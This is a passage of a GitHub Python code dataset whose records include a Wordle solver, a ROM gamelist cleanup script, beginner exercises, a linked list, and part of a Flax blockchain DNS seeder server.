x,y=zip(*data)\n plt.plot(x,y,linewidth=2,c='black')\n\n capital_list = ['A','B','C','F','X','Y']\n if elem['label'] in capital_list:\n label = 'capital_'+elem['label']\n else:\n label = elem['label']\n ind_output_path = output_path + label\n try:\n os.mkdir(ind_output_path)\n except OSError:\n pass\n else:\n pass\n if(os.path.isfile(ind_output_path+'/'+path+str(file_name)+'.png')):\n file_name += 1\n plt.savefig(ind_output_path+'/'+path+str(file_name)+'.png', bbox_inches='tight', dpi=100)\n else:\n plt.savefig(ind_output_path+'/'+path+str(file_name)+'.png', bbox_inches='tight', dpi=100)\n plt.gcf().clear()\n\n def ensureDir(self,path):\n directory = os.path.dirname(path)\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n def transformImages(self):\n files = os.listdir(self.input_directory+self.train_dataset_directory)\n for file in tqdm(files):\n self.inkml2img(self.input_directory+self.train_dataset_directory+file, self.final_train_directory)\n\n def absoluteFilePaths(self,directory):\n paths=[]\n for dirpath,_,filenames in os.walk(directory):\n for f in filenames:\n print(f)\n #print (os.path.abspath(os.path.join(dirpath, f)))\n if isfile(os.path.abspath(os.path.join(dirpath, f))):\n paths.append(os.path.abspath(os.path.join(dirpath, f)))\n else:\n continue\n return paths\n\n def getLabelfromPath(self, path):\n return path.split('/')[-2]\n\n def convertToArray(self, image_loc):\n img = Image.open(image_loc).convert('L')\n img = img.resize((64,64),Image.ANTIALIAS)\n array = np.asarray(img)\n return array\n\n def splitFolders(self):\n split_folders.ratio(self.final_train_directory, output=self.split_folders, seed=self.seed, ratio=(.8, .2))\n\n def buildDataset(self, path,target):\n filePaths=self.absoluteFilePaths(path)\n imgArray=[]\n labels=[]\n\n for f in tqdm(filePaths):\n imgArray.append(self.convertToArray(f))\n labels.append(self.getLabelfromPath(f))\n data=np.array([imgArray, labels]).T\n np.savez_compressed(target,data=data)\n\n def buildMinDataset(self, path,target):\n filePaths=self.absoluteFilePaths(path)\n imgArray=[]\n labels=[]\n for f in tqdm(filePaths):\n if self.getLabelfromPath(f) in ['(',')','+','-','1','2','3','4','=','x','y']:\n imgArray.append(self.convertToArray(f))\n labels.append(self.getLabelfromPath(f))\n data=np.array([imgArray, labels]).T\n np.savez_compressed(target,data=data)\n","repo_name":"fvergaracontesse/W251-Final-Project-NM-FV","sub_path":"BuildDataset.py","file_name":"BuildDataset.py","file_ext":"py","file_size_in_byte":6481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"45672399800","text":"\nfrom datetime import datetime\nfrom datetime import date\n\nimport requests\n\nfrom wordle.wordProcessing.wordProcessor import WordProcessor\nfrom wordle.drivers.ChromeDriverDocker import ChromeDriverDocker\nfrom wordle.wordProcessing.wordList import WordList\nfrom wordle.models.results import insertResult\nfrom wordle.output import ConsolePrinter\n\n\nclass Wordle:\n\n def __init__(self, guessingAlgorithm, logResults, firstGuess=None):\n self._guessingAlgorithm = guessingAlgorithm\n self._logResults = logResults\n self._startDateTime = None\n self.driver = None\n self.guesses = 0\n self._wordList = WordList.getWordlist(self._guessingAlgorithm)\n self.nextGuess = firstGuess or self._wordList.nextWord()\n self.correctAnswer = None\n self._firstGuess = None\n\n def start(self, cheat=False, vnc=False):\n self._startDateTime = datetime.now()\n self.driver = ChromeDriverDocker(vnc)\n try:\n ConsolePrinter.printHeader()\n if cheat:\n self._runCheat()\n else:\n self._run()\n finally:\n self.driver.kill()\n\n def _run(self):\n \"\"\"\n Run the standard Wordle guessing\n \"\"\"\n while not self.correctAnswer and self.guesses < 6:\n self.driver.makeGuess(self.nextGuess)\n if not self._firstGuess:\n self._firstGuess = self.nextGuess\n results = self.driver.collectResults(self.guesses)\n\n wordProcessor = WordProcessor(self._wordList, results)\n\n if wordProcessor.checkWon():\n ConsolePrinter.printResults(results, 0)\n self.correctAnswer = self.nextGuess\n self.guesses += 1\n break\n\n wordProcessor.processResults(self.nextGuess)\n ConsolePrinter.printResults(results, len(self._wordList.wordList))\n self.nextGuess = wordProcessor.getNextGuess()\n self.guesses += 1\n if self._logResults:\n self._captureResults()\n\n def _captureResults(self):\n insertResult(\n self.guesses, self._guessingAlgorithm, self._startDateTime,\n self._firstGuess, self.correctAnswer or \"UNKNOWN\"\n )\n\n def _runCheat(self):\n \"\"\"\n Run wordle but guess the word first time\n \"\"\"\n solutionURL = f\"https://www.nytimes.com/svc/wordle/v2/{date.today()}.json\"\n response = requests.get(solutionURL)\n correctAnswer = response.json()[\"solution\"]\n self.driver.makeGuess(correctAnswer)\n results = self.driver.collectResults(self.guesses)\n ConsolePrinter.printResults(results, 0)\n","repo_name":"Jack-Dane/wordle-solver","sub_path":"wordle/wordProcessing/wordle.py","file_name":"wordle.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"17839330174","text":"# -*- coding: utf-8 -*-\nimport logging, os\nimport logging.config\n\noutput_list = ['file', 'console', 'error_handler']\nfile_path = os.path.join(os.path.dirname(__file__), '../run.log')\n\nlogging.config.dictConfig({\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'verbose': {\n 'format': \"[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s\",\n 'datefmt': \"%Y-%m-%d %H:%M:%S\"\n },\n 'simple': {\n # 'format': '%(levelname)s %(message)s'\n 'format': '[%(name)s] %(levelname)s %(message)s'\n },\n 'error_format': {\n 'format': '[%(name)s:%(lineno)s] %(levelname)s %(message)s'\n }\n },\n 'handlers': {\n 'file': {\n 'level': 'INFO',\n # 如果没有使用并发的日志处理类,在多实例的情况下日志会出现缺失, some problem\n # 'class': 'cloghandler.ConcurrentRotatingFileHandler',\n 'class': 'logging.handlers.RotatingFileHandler',\n 'maxBytes': 1024 * 1024 * 5,\n 'backupCount': 30,\n 'delay': True,\n 'filename': file_path,\n 'formatter': 'verbose'\n },\n 'console': {\n 'level': 'INFO',\n 'class': 'logging.StreamHandler',\n 'formatter': 'simple',\n # 'formatter': 'simple',\n 'stream': 'ext://sys.stdout',\n }\n # \"error_handler\": {\n # \"class\": \"logging.StreamHandler\",\n # \"level\": 'ERROR',\n # \"formatter\": \"error_format\",\n # \"stream\": \"ext://sys.stderr\"\n # }\n },\n 'loggers': {\n '': {\n 'handlers': ['console', 'file'],\n 'level': 'DEBUG'\n },\n }\n})\n\n\ndef getLogger(module_name):\n return logging.getLogger(module_name)\n","repo_name":"huazhicai/zhyl-crawler","sub_path":"common/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"39607719508","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\r\n###################\r\n# This package implements tools to build python package and tools.\r\n# Copyright (C) 2022 Maurice Lambert\r\n\r\n# This program is free software: you can redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation, either version 3 of the License, or\r\n# (at your option) any later version.\r\n\r\n# This program is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU General Public License for more details.\r\n\r\n# You should have received a copy of the GNU General Public License\r\n# along with this program. If not, see .\r\n###################\r\n\r\n\"\"\"\r\nThis package implements tools to build python package and tools.\r\n\r\n>>> from Tuple import tuple\r\n>>> t = tuple((\"a\", 'b', 1))\r\n>>> _ = t | print\r\na\r\nb\r\n1\r\n>>> t |= print\r\na\r\nb\r\n1\r\n>>> t\r\n(None, None, None)\r\n>>> t = tuple((\"a\", 'b', 1))\r\n>>> ~t\r\n(1, 'b', 'a')\r\n>>> l = [0, 1]\r\n>>> t -l\r\n('a', 'b')\r\n>>> t -= l\r\n>>> t\r\n('a', 'b')\r\n>>> t = tuple((\"a\", 'b', 1))\r\n>>> l = [\"a\", \"b\"]\r\n>>> t -= l\r\n>>> t\r\n(1,)\r\n>>> str_tuple = tuple([\"0\", '2', \"1\"])\r\n>>> int_tuple = str_tuple | int\r\n>>> int_tuple\r\n(0, 2, 1)\r\n>>> \r\n\"\"\"\r\n\r\n__version__ = \"0.0.1\"\r\n__author__ = \"Maurice Lambert\"\r\n__author_email__ = \"mauricelambert434@gmail.com\"\r\n__maintainer__ = \"Maurice Lambert\"\r\n__maintainer_email__ = \"mauricelambert434@gmail.com\"\r\n__description__ = \"\"\"\r\nThis package implements tools to build python package and tools.\r\n\"\"\"\r\nlicense = \"GPL-3.0 License\"\r\n__url__ = \"https://github.com/mauricelambert/PythonToolsKit\"\r\n\r\ncopyright = \"\"\"\r\nPythonToolsKit Copyright (C) 2022 Maurice Lambert\r\nThis program comes with ABSOLUTELY NO WARRANTY.\r\nThis is free software, and you are welcome to redistribute it\r\nunder certain conditions.\r\n\"\"\"\r\n__license__ = license\r\n__copyright__ = copyright\r\n\r\n__all__ = [\"tuple\"]\r\n\r\nfrom collections.abc import Callable, Iterator\r\nfrom typing import Tuple, Any\r\n\r\n\r\nclass tuple(tuple):\r\n def __or__(self, other: Callable) -> Tuple[Any]:\r\n \"\"\"\r\n This function implements ' | '.\r\n \"\"\"\r\n\r\n return tuple(other(x) for x in self)\r\n\r\n def __ior__(self, other: Callable) -> Tuple[Any]:\r\n \"\"\"\r\n This function implements ' |= '.\r\n \"\"\"\r\n\r\n return tuple(other(x) for x in self)\r\n\r\n def __invert__(self) -> Tuple[Any]:\r\n \"\"\"\r\n This function implements '~'.\r\n \"\"\"\r\n\r\n return self[::-1]\r\n\r\n def __inv__(self) -> Tuple[Any]:\r\n \"\"\"\r\n This function implements '~'.\r\n \"\"\"\r\n\r\n return self[::-1]\r\n\r\n def __sub__(self, other: Iterator[Any]) -> Tuple[Any]:\r\n \"\"\"\r\n This function implements ' - '\r\n \"\"\"\r\n\r\n return tuple(x for x in self if x not in other)\r\n\r\n def __isub__(self, other: Iterator[Any]) -> Tuple[Any]:\r\n \"\"\"\r\n This function implements ' -= '\r\n \"\"\"\r\n\r\n return tuple(x for x in self if x not in other)\r\n","repo_name":"mauricelambert/PythonToolsKit","sub_path":"PythonToolsKit/Tuple.py","file_name":"Tuple.py","file_ext":"py","file_size_in_byte":3252,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"43394297978","text":"class LLnode():\n def __init__(self,value):\n self._value = value\n self._next = None\n\n def get_data(self):\n return self._value\n def set_data(self,new_value):\n self._value = new_value\n\n def get_next(self):\n return self._next\n def set_next(self,new_next):\n self._next = new_next\n\n def __str__(self):\n return self._value\n \nclass Linked_list():\n def __init__(self):\n self._first = None\n\n def print_list(self):\n if self._first == None:\n print(\"None\")\n current = self._first\n while current != None:\n print(current.get_data())\n current = current.get_next()\n\n def insert_back(self,value):\n new_node = LLnode(value)\n if self._first == None:\n self._first = new_node\n else:\n current = self._first\n while current.get_next() != None:\n current = current.get_next()\n current.set_next(new_node)\n\n def insert_first(self,value):\n new_node = LLnode(value)\n new_node.set_next(self._first)\n self._first = new_node\n\n def exist(self,value):\n if self._first == None:\n return 0\n current = self._first\n while current != None:\n if current.get_data() == value:\n return 1\n current = current.get_next()\n return 0\n \n\n def delete(self,value):\n if self._first == None:\n return 0\n current = self._first\n while current.get_next() != None:\n if current.get_next().get_data() == value:\n current.set_next(current.get_next().get_next())\n return 1\n current = current.get_next()\n return 0\n\n \n \n \nLL = Linked_list()\nLL.insert_back(10)\nLL.insert_back(5)\nLL.insert_first(6)\nLL.insert_first(7)\nLL.insert_first(8)\nLL.print_list()\nprint(\"---\")\nprint(LL.delete(5))\nprint(LL.delete(10))\nLL.print_list()\nprint(LL)\n","repo_name":"japnitahuja/Programming-Practice","sub_path":"Python A-level/SH1/Data Structures/linked_list.py","file_name":"linked_list.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"73565052261","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\nimport sys, codecs, re\nsys.stdout = codecs.getwriter('utf-8')(sys.stdout.detach())\n\ntry:\n inputfile = open(\"grammar-2.txt\", mode='r', encoding='utf-8')\n\n mygrammar = {}\n for line in inputfile.readlines():\n match = re.search(\"\\s*(?P\\w+)\\s*->\\s*(?P(\\w+\\s*)+)(#.*)?\", line)\n if match:\n print(line.strip())\n mygrammar[match.group(\"lhs\")] = match.group(\"rhs\")\n print(match.group(\"lhs\"), \"->\", match.group(\"rhs\"))\n\n inputfile.close()\nexcept IOError:\n print(\"Cannot read file...\")\n\n\n","repo_name":"dcavar/Py3L","sub_path":"src/Week4/read-grammar-a1.py","file_name":"read-grammar-a1.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"14472119982","text":"from xml.etree.ElementTree import ElementTree\nimport os\n\nminimum_rating = 49\nroms_folder = \"x:\\\\\"\nIGNORED_FOLDERS = ('snap', 'mixart', 'media')\n\n\ndef delete_file(file, suffix=None):\n if file != None and os.path.exists(file):\n try:\n if suffix != None:\n print(\"Manually delete \"+file+suffix)\n os.rename(file, file+suffix)\n else:\n print(\"Deleting \"+file+\"...\")\n os.remove(file)\n except:\n print(\"Error deleting \"+file)\n\n\ndef get_node_value(root, name):\n element = root.find(name)\n if element == None:\n return None\n return element.text\n\n\ndef read_files(folder_path):\n for entry in os.listdir(folder_path):\n # Create full path\n path = os.path.abspath(os.path.join(folder_path, entry))\n # If entry is a directory then get the list of files in this directory\n if os.path.isdir(path):\n if not path.endswith(IGNORED_FOLDERS):\n read_files(path)\n else:\n if path.endswith(\"gamelist.xml\"):\n read_gamelist(path)\n\n\ndef get_node_file(folder, value):\n if value != None:\n return os.path.abspath(os.path.join(folder, value))\n return None\n\n\ndef safe_getsize(file):\n if file != None and os.path.exists(file):\n return os.path.getsize(file)\n return 0\n\n\ndef read_gamelist(file):\n ids = {}\n print(\"Reading \"+file+\"...\")\n tree = ElementTree()\n tree.parse(file)\n folder = os.path.dirname(file)\n games = tree.findall(\".//game\")\n remove_list = list()\n for game in games:\n if len(game.attrib) > 0:\n id = game.attrib[\"id\"]\n else:\n id = \"0\"\n rating = get_node_value(game, \"rating\")\n path = os.path.basename(get_node_value(game, \".//path\"))\n path = get_node_file(folder, path)\n if rating != None:\n rating = float(rating)*100\n else:\n rating = 0\n if rating > 0 and rating < minimum_rating:\n name = get_node_value(game, \".//name\")\n print(name + \" has low rating: \" + str(rating) + \"%\")\n delete_game(folder, remove_list, game, path)\n elif not os.path.exists(path):\n print(path + \" is missing\")\n delete_game(folder, remove_list, game, path)\n elif id in ids:\n print(path + \" is a duplicate of \" + ids.get(id))\n remove_list.append(game)\n delete_file(path, \".DUPLICATE\")\n elif id != \"0\":# and not is_multi_disc(path): # ignore multi disc\n ids[id] = path\n root = tree.getroot()\n for game in remove_list:\n root.remove(game)\n tree.write(file)\n\n\ndef is_multi_disc(path):\n return not \"disc \" in path and not \"cd \" in path and not path.endswith(\".m3u\")\n\n\ndef delete_game(folder, remove_list, game, path):\n remove_list.append(game)\n image = get_node_file(folder, get_node_value(game, \".//image\"))\n video = get_node_file(folder, get_node_value(game, \".//video\"))\n file_size = safe_getsize(image)\n file_size += safe_getsize(video)\n file_size += safe_getsize(path)\n file_size = round(file_size/1048576, 2)\n delete_file(video)\n delete_file(image)\n delete_file(path, \".LOWRATING\")\n print(\"Freed \" + str(file_size) + \"MB\")\n\n\ndef main(folder_path):\n read_files(folder_path)\n\n\nif __name__ == \"__main__\":\n main(roms_folder)\n","repo_name":"smeegoan/rom-tools","sub_path":"cleanup_gamelists.py","file_name":"cleanup_gamelists.py","file_ext":"py","file_size_in_byte":3411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"70962613542","text":"\"\"\"\r\nDump the adversarial images info(absolute path) of each target model into json\r\nResults stored in ADV.\r\n\"\"\"\r\nimport os\r\nimport json\r\n\r\nmodels = ['vgg', 'res', 'dense', 'trans']\r\n\r\nfor model in models:\r\n train_imgs = './' + model + '_train/'\r\n val_imgs = './' + model + '_val/'\r\n if not os.path.exists(train_imgs):\r\n os.mkdir(train_imgs)\r\n if not os.path.exists(val_imgs):\r\n os.mkdir(val_imgs)\r\n\r\n train_file = os.listdir(train_imgs)\r\n val_file = os.listdir(val_imgs)\r\n\r\n time_train = [os.stat(train_imgs + img).st_mtime for img in train_file]\r\n time_val = [os.stat(val_imgs + img).st_mtime for img in val_file]\r\n\r\n train_meta = []\r\n val_meta = []\r\n img_dir = '/data/private_data/jf_private/yizhi_data/LP_AD/CW/'\r\n\r\n for file_name in train_file:\r\n if 'real' in file_name:\r\n continue\r\n else:\r\n img_path = img_dir + model + '_train/' + file_name\r\n dict = {'img_name': img_path}\r\n train_meta.append(dict)\r\n\r\n for file_name in val_file:\r\n if 'adv' in file_name:\r\n continue\r\n else:\r\n img_path = img_dir + model + '_val/' + file_name\r\n dict = {'img_name': img_path}\r\n val_meta.append(dict)\r\n\r\n\r\n print(model + \":\", len(train_meta),'/ 237900; ', len(val_meta),'/ 65312')\r\n if len(time_train) > 0:\r\n train_cost = max(time_train) - min(time_train)\r\n print(' '+model + ' train expected: %.2f h ' % (train_cost*(237900-len(train_meta))/(len(train_meta)*3600)) )\r\n if len(time_val) > 0:\r\n val_cost = max(time_val) - min(time_val)\r\n print(' '+model + ' val expected: %.2f h' % (val_cost * (65312-len(val_meta)) / (len(val_meta) * 3600)) )\r\n\r\n with open('ADV/' + model + '_train.json', 'w') as file:\r\n json.dump(train_meta, file)\r\n\r\n with open('ADV/' + model + '_val.json', 'w') as file:\r\n json.dump(val_meta, file)\r\n","repo_name":"jinghehehe/attack_defense","sub_path":"defense/dump_json.py","file_name":"dump_json.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"43240516089","text":"\"\"\"\n5-8. Hello Admin: Make a list of five or more usernames, including the name 'admin'.\nImagine you are writing code that will print a greeting to each user after they log in to a\nwebsite. Loop through the list, and print a greeting to each user:\nIf the username is 'admin', print a special greeting, such as Hello\nadmin, would you like to see a status report?\nOtherwise, print a generic greeting, such as Hello Jaden, thank you\nfor logging in again.\n5-9. No Users: Add an if test to hello_admin.py to make sure the list of users is not empty.\nIf the list is empty, print the message We need to find some users!\nRemove all of the usernames from your list, and make sure the\ncorrect message is printed.\n\"\"\"\nUSERNAME_LIST = [\"conj\", \"admin\", \"dairystatus\", \"mutalize\", \"fordbear\"];\nEMPTY_TEST_ARRAY = [];\n\ndef hello_admin(list_arr):\n if len(list_arr) > 0:\n for user in list_arr:\n if user == \"admin\":\n print(f\"Greetings, dear {user}. \\nOur overlord, {user}.\");\n else:\n print(f\"Welcome back {user}!\");\n else: \n print(\"The list is empty, bro.\");\n\nhello_admin(USERNAME_LIST);\nhello_admin(EMPTY_TEST_ARRAY);\n\n\"\"\"\n5-10. \nChecking Usernames: Do the following to create a program that simulates how\nwebsites ensure that everyone has a unique username.\nMake a list of five or more usernames called current_users.\nMake another list of five usernames called new_users. Make sure one\nor two of the new usernames are also in the current_users list.\nLoop through the new_users list to see if each new username has\nalready been used. If it has, print a message that the person will\nneed to enter a new username. If a username has not been used,\nprint a message saying that the username is available.\nMake sure your comparison is case insensitive. If 'John' has been\nused, 'JOHN' should not be accepted. (To do this, you’ll need to\nmake a copy of current_users containing the lowercase versions of all\nexisting users.)\n\"\"\"\n\nCURRENT_USERS = [\n \"CoolCat42\",\n \"SunnyDays99\",\n \"TechGuru23\",\n \"RainbowNinja\",\n \"StarStrider\",\n \"PixelMaster\",\n \"JazzPianoMan\",\n \"MountainHiker\",\n \"GamerGeek87\"\n]\n\nNEW_USERS = [\n \"CodeNinja123\",\n \"SnowflakeGirl\",\n \"ElectricDreamer\",\n \"MountainHiker\",\n \"GamerGeek87\"\n]\n\ndef checking_usernames(list_arr, list_arr_new):\n for current_user in list_arr:\n for new_user in list_arr_new:\n if current_user.lower() == new_user.lower():\n print(f\"'{new_user}' is taken. \\nPlease pick a unique username.\");\n list_arr_new.remove(new_user);\n for new_user in list_arr_new:\n print(f\"'{new_user}' has been created\");\n\nchecking_usernames(CURRENT_USERS, NEW_USERS);\n\n\"\"\"\n5-11. Ordinal Numbers: Ordinal numbers indicate their position in a list, such as 1st or 2nd.\nMost ordinal numbers end in th, except 1, 2, and 3.\nStore the numbers 1 through 9 in a list.\nLoop through the list.\nUse an if-elif-else chain inside the loop to print the proper ordinal\nending for each number. Your output should read \"1st 2nd 3rd 4th\n5th 6th 7th 8th 9th\", and each result should be on a separate line.\n\"\"\"\nnine_list = [1, 2, 3, 4, 5, 6, 7, 8, 9];\n\ndef ordinal_numbers(list_arr):\n for num in list_arr:\n if num > 3:\n print(f\"{num}th\");\n elif num == 3:\n print(f\"{num}rd\");\n elif num == 2:\n print(f\"{num}nd\");\n else:\n print(f\"{num}st\");\n\nordinal_numbers(nine_list);","repo_name":"tford-dev/python-crash-course","sub_path":"chapter_5/tiys_2.py","file_name":"tiys_2.py","file_ext":"py","file_size_in_byte":3482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"24789241071","text":"# open(\".txt\", 'w') 擦去原纪录 重写\ntry:\n f = open('test.txt', 'w')\n f.write('HelloWorld' + '\\n')\nfinally:\n # pass\n f.close()\n\n# with 语句适用于对资源进行访问的场合,确保不管使用过程中是否发生异常都会执行必要的“清理”操作,释放资源,比如文件使用后自动关闭、线程中锁的自动获取和释放等。\n# open(\".txt\", 'a') 插入新数据\n\nwith open('test.txt', 'a') as f:\n f.write('Hello!' + '\\n')\n","repo_name":"skyrusai/python_method","sub_path":"try_with.py","file_name":"try_with.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"19600107332","text":"import asyncio\nimport ipaddress\nimport logging\nimport random\nimport signal\nimport traceback\nfrom pathlib import Path\nfrom typing import Any, Dict, List\n\nimport aiosqlite\nfrom dnslib import A, AAAA, SOA, NS, MX, CNAME, RR, DNSRecord, QTYPE, DNSHeader\n\nfrom flax.util.flax_logging import initialize_logging\nfrom flax.util.path import path_from_root\nfrom flax.util.config import load_config\nfrom flax.util.default_root import DEFAULT_ROOT_PATH\n\nSERVICE_NAME = \"seeder\"\nlog = logging.getLogger(__name__)\n\n# DNS snippet taken from: https://gist.github.com/pklaus/b5a7876d4d2cf7271873\n\n\nclass DomainName(str):\n def __getattr__(self, item):\n return DomainName(item + \".\" + self)\n\n\nD = None\nns = None\nIP = \"127.0.0.1\"\nTTL = None\nsoa_record = None\nns_records: List[Any] = []\n\n\nclass EchoServerProtocol(asyncio.DatagramProtocol):\n def __init__(self, callback):\n self.data_queue = asyncio.Queue()\n self.callback = callback\n asyncio.ensure_future(self.respond())\n\n def connection_made(self, transport):\n self.transport = transport\n\n def datagram_received(self, data, addr):\n asyncio.ensure_future(self.handler(data, addr))\n\n async def respond(self):\n while True:\n try:\n resp, caller = await self.data_queue.get()\n self.transport.sendto(resp, caller)\n except Exception as e:\n log.error(f\"Exception: {e}. Traceback: {traceback.format_exc()}.\")\n\n async def handler(self, data, caller):\n try:\n data = await self.callback(data)\n if data is None:\n return\n await self.data_queue.put((data, caller))\n except Exception as e:\n log.error(f\"Exception: {e}. Traceback: {traceback.format_exc()}.\")\n\n\nclass DNSServer:\n reliable_peers_v4: List[str]\n reliable_peers_v6: List[str]\n lock: asyncio.Lock\n pointer: int\n crawl_db: aiosqlite.Connection\n\n def __init__(self, config: Dict, root_path: Path):\n self.reliable_peers_v4 = []\n self.reliable_peers_v6 = []\n self.lock = asyncio.Lock()\n self.pointer_v4 = 0\n self.pointer_v6 = 0\n\n crawler_db_path: str = config.get(\"crawler_db_path\", \"crawler.db\")\n self.db_path = path_from_root(root_path, crawler_db_path)\n self.db_path.parent.mkdir(parents=True, exist_ok=True)\n\n async def start(self):\n # self.crawl_db = await aiosqlite.connect(self.db_path)\n # Get a reference to the event loop as we plan to use\n # low-level APIs.\n loop = asyncio.get_running_loop()\n\n # One protocol instance will be created to serve all\n # client requests.\n self.transport, self.protocol = await loop.create_datagram_endpoint(\n lambda: EchoServerProtocol(self.dns_response), local_addr=(\"0.0.0.0\", 53)\n )\n self.reliable_task = asyncio.create_task(self.periodically_get_reliable_peers())\n\n async def periodically_get_reliable_peers(self):\n sleep_interval = 0\n while True:\n sleep_interval = min(15, sleep_interval + 1)\n await asyncio.sleep(sleep_interval * 60)\n try:\n # TODO: double check this. It shouldn't take this long to connect.\n crawl_db = await aiosqlite.connect(self.db_path, timeout=600)\n cursor = await crawl_db.execute(\n \"SELECT * from good_peers\",\n )\n new_reliable_peers = []\n rows = await cursor.fetchall()\n await cursor.close()\n await crawl_db.close()\n for row in rows:\n new_reliable_peers.append(row[0])\n if len(new_reliable_peers) > 0:\n random.shuffle(new_reliable_peers)\n async with self.lock:\n self.reliable_peers_v4 = []\n self.reliable_peers_v6 = []\n for peer in new_reliable_peers:\n ipv4 = True\n try:\n _ = ipaddress.IPv4Address(peer)\n except ValueError:\n ipv4 = False\n if ipv4:\n self.reliable_peers_v4.append(peer)\n else:\n try:\n _ = ipaddress.IPv6Address(peer)\n except ValueError:\n continue\n self.reliable_peers_v6.append(peer)\n self.pointer_v4 = 0\n self.pointer_v6 = 0\n log.error(\n f\"Number of reliable peers discovered in dns server:\"\n f\" IPv4 count - {len(self.reliable_peers_v4)}\"\n f\" IPv6 count - {len(self.reliable_peers_v6)}\"\n )\n except Exception as e:\n log.error(f\"Exception: {e}. Traceback: {traceback.format_exc()}.\")\n\n async def get_peers_to_respond(self, ipv4_count, ipv6_count):\n peers = []\n async with self.lock:\n # Append IPv4.\n size = len(self.reliable_peers_v4)\n if ipv4_count > 0 and size <= ipv4_count:\n peers = self.reliable_peers_v4\n elif ipv4_count > 0:\n peers = [self.reliable_peers_v4[i % size] for i in range(self.pointer_v4, self.pointer_v4 + ipv4_count)]\n self.pointer_v4 = (self.pointer_v4 + ipv4_count) % size\n # Append IPv6.\n size = len(self.reliable_peers_v6)\n if ipv6_count > 0 and size <= ipv6_count:\n peers = peers + self.reliable_peers_v6\n elif ipv6_count > 0:\n peers = peers + [\n self.reliable_peers_v6[i % size] for i in range(self.pointer_v6, self.pointer_v6 + ipv6_count)\n ]\n self.pointer_v6 = (self.pointer_v6 + ipv6_count) % size\n return peers\n\n async def dns_response(self, data):\n try:\n request = DNSRecord.parse(data)\n IPs = [MX(D.mail), soa_record] + ns_records\n ipv4_count = 0\n ipv6_count = 0\n if request.q.qtype == 1:\n ipv4_count = 32\n elif request.q.qtype == 28:\n ipv6_count = 32\n elif request.q.qtype == 255:\n ipv4_count = 16\n ipv6_count = 16\n else:\n ipv4_count = 32\n peers = await self.get_peers_to_respond(ipv4_count, ipv6_count)\n if len(peers) == 0:\n return None\n for peer in peers:\n ipv4 = True\n try:\n _ = ipaddress.IPv4Address(peer)\n except ValueError:\n ipv4 = False\n if ipv4:\n IPs.append(A(peer))\n else:\n try:\n _ = ipaddress.IPv6Address(peer)\n except ValueError:\n continue\n IPs.append(AAAA(peer))\n reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=len(IPs), ra=1), q=request.q)\n\n records = {\n D: IPs,\n D.ns1: [A(IP)], # MX and NS records must never point to a CNAME alias (RFC 2181 section 10.3)\n D.ns2: [A(IP)],\n D.mail: [A(IP)],\n D.andrei: [CNAME(D)],\n }\n\n qname = request.q.qname\n qn = str(qname)\n qtype = request.q.qtype\n qt = QTYPE[qtype]\n if qn == D or qn.endswith(\".\" + D):\n for name, rrs in records.items():\n if name == qn:\n for rdata in rrs:\n rqt = rdata.__class__.__name__\n if qt in [\"*\", rqt] or (qt == \"ANY\" and (rqt == \"A\" or rqt == \"AAAA\")):\n reply.add_answer(\n RR(rname=qname, rtype=getattr(QTYPE, rqt), rclass=1, ttl=TTL, rdata=rdata)\n )\n\n for rdata in ns_records:\n reply.add_ar(RR(rname=D, rtype=QTYPE.NS, rclass=1, ttl=TTL, rdata=rdata))\n\n reply.add_auth(RR(rname=D, rtype=QTYPE.SOA, rclass=1, ttl=TTL, rdata=soa_record))\n\n return reply.pack()\n except Exception as e:\n log.error(f\"Exception: {e}. Traceback: {traceback.format_exc()}.\")\n\n\nasync def serve_dns(config: Dict, root_path: Path):\n dns_server = DNSServer(config, root_path)\n await dns_server.start()\n\n # TODO: Make this cleaner?\n while True:\n await asyncio.sleep(3600)\n\n\nasync def kill_processes():\n # TODO: implement.\n pass\n\n\ndef signal_received():\n asyncio.create_task(kill_processes())\n\n\nasync def async_main(config, root_path):\n loop = asyncio.get_running_loop()\n\n try:\n loop.add_signal_handler(signal.SIGINT, signal_received)\n loop.add_signal_handler(signal.SIGTERM, signal_received)\n except NotImplementedError:\n log.info(\"signal handlers unsupported\")\n\n await serve_dns(config, root_path)\n\n\ndef main():\n root_path = DEFAULT_ROOT_PATH\n config = load_config(root_path, \"config.yaml\", SERVICE_NAME)\n initialize_logging(SERVICE_NAME, config[\"logging\"], root_path)\n global D\n global ns\n global TTL\n global soa_record\n global ns_records\n D = DomainName(config[\"domain_name\"])\n ns = DomainName(config[\"nameserver\"])\n TTL = config[\"ttl\"]\n soa_record = SOA(\n mname=ns, # primary name server\n rname=config[\"soa\"][\"rname\"], # email of the domain administrator\n times=(\n config[\"soa\"][\"serial_number\"],\n config[\"soa\"][\"refresh\"],\n config[\"soa\"][\"retry\"],\n 